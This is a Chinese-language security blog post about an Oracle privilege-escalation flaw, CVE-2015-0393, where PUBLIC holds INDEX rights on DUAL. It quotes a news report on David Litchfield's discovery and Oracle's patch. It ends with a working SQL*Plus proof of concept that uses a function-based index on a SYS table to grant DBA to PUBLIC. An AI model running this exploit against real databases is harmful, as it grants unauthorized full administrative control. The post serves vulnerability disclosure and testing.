Oracle public权限用户通过Oracle索引提权
今天下午2点左右看到这个漏洞就立马测试了一下发现没成功(我测试的版本是12.1.0.1.0 和oracle 10g),google了一下找到了INDEX to SYSDBA without SELECT。
文章发布时间是2014年3月,当时觉得可能是一个老漏洞了(我那时还不知道这个漏洞的CVE)。到了下午看到相关的漏洞新闻报道才知道Oracle 漏洞猎手David Litchfield在去年6又发现了一个新提权漏洞(CVE-2015-0393)。
引用一篇关于这个漏洞的报道:
疑似后门:漏洞CVE-2015-0393
江湖人称“Oracle漏洞猎手”的David Litchfield在去年6月11日发现过Oracle一个疑似后门的严重漏洞CVE-2015-0393。
日前Litchfield向我们透漏了一些漏洞细节:
在该漏洞中,Oracle数据库内的PUBLIC角色在DUAL表中被授予了索引权限,也就是说任何用户都可以在该表创建索引。
DUAL表是SYS用户下的一张内部表,所有用户都可以使用DUAL名称访问,无论什么时候这个表总是存在。在DUAL表中创建了基于函数的索引后,黑客将暂时获得SYS用户权限(SYSDBA),可执行任意SQL语句进而尝试控制整个服务器。如果存在这个漏洞的电子商务套件可以从外网远程访问的话,攻击者只要有PUBLIC角色(不需要用户密码),就可以跟进后续一大波的漏洞攻击。
Litchfield觉得PUBLIC角色是不应该拥有DUAL表的索引权限,据此他判断出这个漏洞可能是由于代码编写出现的bug或者是开发人员刻意留下的后门。
漏洞进展
在一次给客户进行安全检测的过程中,Litchfield发现了这个漏洞。
由于该漏洞可以直接获得SYSDBA权限,他最开始以为这是某人留的后门,但后来与客户交流后,客户的技术人员开始调查该“后门”事件,最后发现该权限授予漏洞是在Oracle电子商务套件安装时就有的。
Litchfield承认从Oracle得知,官方技术人员检查了该漏洞,但却表示并没有找到该权限授予漏洞出现的时间和漏洞成因。Oracle在严重补丁升级时表示,这个漏洞并非远程执行。Oracle给其评级为6分(满分10分)。
Oracle官方表示,当前漏洞已经被修复。
其他重要补丁升级情况
在Java平台上,Oracle为19个漏洞打了补丁,其中有14个漏洞可以远程利用,包括部分严重级别很高的漏洞。然而,Oracle表示Java漏洞的数量会呈递减趋势,这是由历史数据验证过的。
同时,Oracle还修补了八个最重要的Oracle数据服务器的漏洞,其中没有远程利用的漏洞,也没有在客户端利用的。其中唯一的高危漏洞,是Oracle Sun Systems的Fujitsu M10-1, M10-4 and M10-4S servers。
刚才把版本更新到了11.2.0.2.0测了文章中谈到的提权(INDEX to SYSDBA without SELECT,测试的不是CVE-2015-0393 我现在还没环境)
测试如下:
Oracle官方发布的受CVE-2015-0393影响版本:
好忧伤又得升级一次版本,不过这里先给出CVE-2015-0393的POC:
bash1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
SQL> connect tss/password Connected. SQL> set role dba; set role dba * ERROR at line 1: ORA-01924: role 'DBA' not granted or does not exist SQL> CREATE OR REPLACE FUNCTION GETDBA(FOO VARCHAR) RETURN VARCHAR DETERMINISTIC AUTHID CURRENT_USER IS PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE 'GRANT DBA TO PUBLIC'; COMMIT; RETURN 'FOO'; END; / Function created. SQL> GRANT EXECUTE ON GETDBA TO PUBLIC; Grant succeeded. SQL> SQL> CREATE INDEX EXPLOIT_INDEX ON SYS.FOO(TSS.GETDBA(BAR)); Index created. SQL> select * from sys.foo; B - X SQL> set role dba;
附: Black Hat USA 2012 - Find Me in Your Database: An Examination of Index Security